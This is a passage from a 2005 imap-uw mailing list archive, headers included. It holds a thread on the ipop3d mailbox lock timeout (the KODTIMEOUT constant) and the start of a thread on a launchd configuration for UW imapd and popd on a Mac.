for any mailbox wich was closed without logout? And > another question is, if there is a posibility to change that time after > or during the instalation of imap packet? POP3 mailboxes are unlocked and closed after 10 minutes of inactivity. This value can not be changed to a lower value without violating the POP3 specification. After 5 minutes of inactivity, it is possible to open a new POP3 session and force the inactive session to unlock and close. This value can not be changed to a lower value without running the risk that a "check for new mail" background task will cause an interrupt and termination of a long download. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Oct 20 17:26:49 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 20 Oct 2005 17:26:49 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0Qn6v007542 for ; Thu, 20 Oct 2005 17:26:49 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0QkH7030354 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 20 Oct 2005 17:26:46 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0Qk4A000692; Thu, 20 Oct 2005 17:26:46 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0QkJc003338; Thu, 20 Oct 2005 17:26:46 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0QjDi003326 for ; Thu, 20 Oct 2005 17:26:45 -0700 Received: from smtp2.gigared.com.ar (smtp2.gigared.com.ar [200.68.216.2]) by mxe3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0QiTI010356 for ; Thu, 20 Oct 2005 17:26:44 -0700 Received: from gigaredhdq33 (unknown [10.8.2.99]) by smtp2.gigared.com.ar (Postfix) with SMTP id E617842271; Thu, 20 Oct 2005 21:22:21 -0300 (GMT) Message-ID: <006301c5d5d6$7070de90$6302080a@gigaredhdq33> From: "Kosty" To: "Mark Crispin" References: <004501c5d5d4$08688de0$6302080a@gigaredhdq33> Subject: Re: [Imap-uw] ipop3d lock time Date: Thu, 20 Oct 2005 21:29:03 -0300 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1506 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1506 X-Gigared-Information: Please contact the ISP for more information X-Gigared: Found to be clean X-From: knayda@gigared.com.ar X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Mark, thnaks a lot for such a fast reply!!! The fact is that I need to lower that time because of my users that comlaine to have problem of mailbox locking. Is it posible to change some part of the sorce code of the IMAP package to lower the default time of ipop3d locking for 5 minutes and if so what is this part of the code? Thak you for your help! Constantino ----- Original Message ----- From: "Mark Crispin" To: "Kosty" Cc: Sent: Thursday, October 20, 2005 9:15 PM Subject: Re: [Imap-uw] ipop3d lock time > On Thu, 20 Oct 2005, Kosty wrote: > > Could you tell me, please, what is the default lock time period of > > ipop3d process for any mailbox wich was closed without logout? And > > another question is, if there is a posibility to change that time after > > or during the instalation of imap packet? > > POP3 mailboxes are unlocked and closed after 10 minutes of inactivity. > This value can not be changed to a lower value without violating the POP3 > specification. > > After 5 minutes of inactivity, it is possible to open a new POP3 session > and force the inactive session to unlock and close. This value can not be > changed to a lower value without running the risk that a "check for new > mail" background task will cause an interrupt and termination of a long > download. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > > > -- > No virus found in this incoming message. > Checked by AVG Anti-Virus. > Version: 7.0.344 / Virus Database: 267.12.4/143 - Release Date: 19/10/2005 > > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Oct 20 17:29:34 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 20 Oct 2005 17:29:34 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0TYle007614 for ; Thu, 20 Oct 2005 17:29:34 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0TXQm019600 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 20 Oct 2005 17:29:33 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0TX6h000978; Thu, 20 Oct 2005 17:29:33 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0TXHG003770; Thu, 20 Oct 2005 17:29:33 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0TWxF003761 for ; Thu, 20 Oct 2005 17:29:32 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0TVvl023602 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 20 Oct 2005 17:29:31 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0TVm1010897 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 20 Oct 2005 17:29:31 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0TV5g021323 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 20 Oct 2005 17:29:31 -0700 Date: Thu, 20 Oct 2005 17:29:31 -0700 (Pacific Daylight Time) From: Mark Crispin To: Kosty Subject: Re: [Imap-uw] ipop3d lock time In-Reply-To: <006301c5d5d6$7070de90$6302080a@gigaredhdq33> Message-ID: References: <004501c5d5d4$08688de0$6302080a@gigaredhdq33> <006301c5d5d6$7070de90$6302080a@gigaredhdq33> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 20 Oct 2005, Kosty wrote: > The fact is that I need to lower that time because of my users that comlaine > to have problem of mailbox locking. > Is it posible to change some part of the sorce code of the IMAP package to > lower the default time of ipop3d locking for 5 minutes and if so what is > this part of the code? Even if you did that, that would not help your users' problem. They can already get a new session after 5 minutes. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Oct 20 17:40:09 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 20 Oct 2005 17:40:09 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0e9S5007893 for ; Thu, 20 Oct 2005 17:40:09 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0e8FO020054 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 20 Oct 2005 17:40:08 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0e8pP001732; Thu, 20 Oct 2005 17:40:08 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0e8WN004925; Thu, 20 Oct 2005 17:40:08 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0e7NI004917 for ; Thu, 20 Oct 2005 17:40:07 -0700 Received: from smtp2.gigared.com.ar (smtp2.gigared.com.ar [200.68.216.2]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0e4mB011229 for ; Thu, 20 Oct 2005 17:40:05 -0700 Received: from gigaredhdq33 (unknown [10.8.2.99]) by smtp2.gigared.com.ar (Postfix) with SMTP id 3E75642271; Thu, 20 Oct 2005 21:35:41 -0300 (GMT) Message-ID: <006f01c5d5d8$4ce0a490$6302080a@gigaredhdq33> From: "Kosty" To: "Mark Crispin" References: <004501c5d5d4$08688de0$6302080a@gigaredhdq33> <006301c5d5d6$7070de90$6302080a@gigaredhdq33> Subject: Re: [Imap-uw] ipop3d lock time Date: Thu, 20 Oct 2005 21:42:22 -0300 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1506 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1506 X-Gigared-Information: Please contact the ISP for more information X-Gigared: Found to be clean X-From: knayda@gigared.com.ar X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Yes, you are right. It is the problem of the connectivity of users but my boss wants it... I think I'v found where is the place for changing that time period, tell me please if I'm mistaken. The file is imap-2004g/src/ipopd, and constants are KODTIMEOUT and TIEMOUT. Is that correct? Thanks again. Constantino ----- Original Message ----- From: "Mark Crispin" To: "Kosty" Cc: Sent: Thursday, October 20, 2005 9:29 PM Subject: Re: [Imap-uw] ipop3d lock time > On Thu, 20 Oct 2005, Kosty wrote: > > The fact is that I need to lower that time because of my users that comlaine > > to have problem of mailbox locking. > > Is it posible to change some part of the sorce code of the IMAP package to > > lower the default time of ipop3d locking for 5 minutes and if so what is > > this part of the code? > > Even if you did that, that would not help your users' problem. They can > already get a new session after 5 minutes. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > > > -- > No virus found in this incoming message. > Checked by AVG Anti-Virus. > Version: 7.0.344 / Virus Database: 267.12.4/143 - Release Date: 19/10/2005 > > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Oct 20 17:42:34 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 20 Oct 2005 17:42:34 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0gYXD008026 for ; Thu, 20 Oct 2005 17:42:34 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0gXaJ031242 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 20 Oct 2005 17:42:33 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0gXC2001936; Thu, 20 Oct 2005 17:42:33 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0gXLc005239; Thu, 20 Oct 2005 17:42:33 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0gV9A005230 for ; Thu, 20 Oct 2005 17:42:31 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0gVve024520 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 20 Oct 2005 17:42:31 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0gU40027232 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 20 Oct 2005 17:42:31 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0gU7w022783 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Thu, 20 Oct 2005 17:42:30 -0700 Date: Thu, 20 Oct 2005 17:42:31 -0700 (Pacific Daylight Time) From: Mark Crispin To: Kosty Subject: Re: [Imap-uw] ipop3d lock time In-Reply-To: <006f01c5d5d8$4ce0a490$6302080a@gigaredhdq33> Message-ID: References: <004501c5d5d4$08688de0$6302080a@gigaredhdq33> <006301c5d5d6$7070de90$6302080a@gigaredhdq33> <006f01c5d5d8$4ce0a490$6302080a@gigaredhdq33> Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 20 Oct 2005, Kosty wrote: > The file is imap-2004g/src/ipopd, and constants are KODTIMEOUT and TIEMOUT. > Is that correct? The only one you should change is KODTIMEOUT, not TIMEOUT. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Oct 20 17:51:08 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 20 Oct 2005 17:51:08 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0p7NK008477 for ; Thu, 20 Oct 2005 17:51:07 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0p6m7031813 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 20 Oct 2005 17:51:07 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0p6JV002630; Thu, 20 Oct 2005 17:51:06 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0p6fw006297; Thu, 20 Oct 2005 17:51:06 -0700 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0p6oT006289 for ; Thu, 20 Oct 2005 17:51:06 -0700 Received: from smtp2.gigared.com.ar (smtp2.gigared.com.ar [200.68.216.2]) by mxe2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9L0p38V024341 for ; Thu, 20 Oct 2005 17:51:03 -0700 Received: from gigaredhdq33 (unknown [10.8.2.99]) by smtp2.gigared.com.ar (Postfix) with SMTP id 8976A42271; Thu, 20 Oct 2005 21:46:40 -0300 (GMT) Message-ID: <007501c5d5d9$d5de1c90$6302080a@gigaredhdq33> From: "Kosty" To: "Mark Crispin" References: <004501c5d5d4$08688de0$6302080a@gigaredhdq33> <006301c5d5d6$7070de90$6302080a@gigaredhdq33> <006f01c5d5d8$4ce0a490$6302080a@gigaredhdq33> Subject: Re: [Imap-uw] ipop3d lock time Date: Thu, 20 Oct 2005 21:53:22 -0300 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2800.1506 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1506 X-Gigared-Information: Please contact the ISP for more information X-Gigared: Found to be clean X-From: knayda@gigared.com.ar X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu OK, Thanks, Mark. ----- Original Message ----- From: "Mark Crispin" To: "Kosty" Cc: Sent: Thursday, October 20, 2005 9:42 PM Subject: Re: [Imap-uw] ipop3d lock time > On Thu, 20 Oct 2005, Kosty wrote: > > The file is imap-2004g/src/ipopd, and constants are KODTIMEOUT and TIEMOUT. > > Is that correct? > > The only one you should change is KODTIMEOUT, not TIMEOUT. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > > > -- > No virus found in this incoming message. > Checked by AVG Anti-Virus. > Version: 7.0.344 / Virus Database: 267.12.4/143 - Release Date: 19/10/2005 > > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Oct 28 14:42:14 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Oct 2005 14:42:14 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9SLgE0e013777 for ; Fri, 28 Oct 2005 14:42:14 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9SLgDrM007825 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 28 Oct 2005 14:42:13 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9SLgDLc026794; Fri, 28 Oct 2005 14:42:13 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9SLgDwA009345; Fri, 28 Oct 2005 14:42:13 -0700 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9SLgAYR009336 for ; Fri, 28 Oct 2005 14:42:10 -0700 Received: from maddog.sal.wisc.edu (mail.sal.wisc.edu [144.92.179.20]) by mxe4.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9SLgACn020982 for ; Fri, 28 Oct 2005 14:42:10 -0700 Received: from maddog.sal.wisc.edu (IDENT:oq/JslNklCLcrKRGuxtpemqH+LEJpoJD@localhost.sal.wisc.edu [127.0.0.1]) by maddog.sal.wisc.edu (8.13.4/8.13.4) with ESMTP id j9SLgAXV008047 for ; Fri, 28 Oct 2005 16:42:10 -0500 Received: from localhost (bonomo@localhost) by maddog.sal.wisc.edu (8.13.4/8.13.4/Submit) with ESMTP id j9SLgAIj008044 for ; Fri, 28 Oct 2005 16:42:10 -0500 Date: Fri, 28 Oct 2005 16:42:10 -0500 (CDT) From: Richard Bonomo To: imap-uw@u.washington.edu Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__C230066_P5 0, __CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Launchcd script for imap/pop? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello! I recently downloaded and installed the UWash imapd/popd package from darwinports. The install process placed the binaries in /opt/local, but it did not create a launch script. I tried producing one myself, but when I try to telnet to the ports, this happens: [rich-mac1:~] bonomo% telnet localhost 110 Trying ::1... Connected to localhost. Escape character is '^]'. launchproxy[13020]: execv(): Bad address Connection closed by foreign host. and [rich-mac1:~] bonomo% telnet localhost 143 Trying ::1... Connected to localhost. Escape character is '^]'. launchproxy[13177]: execv(): Bad address Connection closed by foreign host. Has anyone run across this before, or have an idea of the problem? FWIW, this is the launch script I am currently using for imap; the pop script is similar. (I would not be surprised if a script problem is the source of the trouble): prompt% cat edu.washington.imap.plist ******* begin file list Disabled Label imapd OnDemand ProgramArguments /opt/local/libexec/imapd Sockets Listeners Bonjour SockServiceName imap SockType stream inetdCompatibility Wait ******** end file list The daemons *ARE* listening to the ports. BTW, does either daemon make use of hosts.allow? I am assuming they do, at the moment. Rich -- ************************************************ Richard Bonomo UW Space Astronomy Laboratory ph: (608) 263-4683 telefacsimile: (608) 263-0361 SAL-related email: bonomo@sal.wisc.edu all other email: bonomo@ece.wisc.edu web page URL: http://www.cae.wisc.edu/~bonomo ************************************************ _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Fri Oct 28 16:19:33 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 28 Oct 2005 16:19:33 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9SNJXEq018997 for ; Fri, 28 Oct 2005 16:19:33 -0700 Received: from mailman2.u.washington.edu (mailman2.u.washington.edu [140.142.12.180]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id j9SNJWmi000939 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Fri, 28 Oct 2005 16:19:32 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mailman2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9SNJWWI003520; Fri, 28 Oct 2005 16:19:32 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9SNJWpa025160; Fri, 28 Oct 2005 16:19:32 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9SNJUnL025152 for ; Fri, 28 Oct 2005 16:19:30 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9SNJUP4028771 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Fri, 28 Oct 2005 16:19:30 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j9SNJUf1014415 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Fri, 28 Oct 2005 16:19:30 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id j9SNJTgS019979 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Fri, 28 Oct 2005 16:19:29 -0700 Date: Fri, 28 Oct 2005 16:19:29 -0700 (Pacific Daylight Time) From: Mark Crispin To: Richard Bonomo Subject: Re: [Imap-uw] Launchcd script for imap/pop? In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu The first thing is that the ipop[23]d and imapd daemons do *NOT* listen on the ports; they just do stdio. The listener is either inetd, 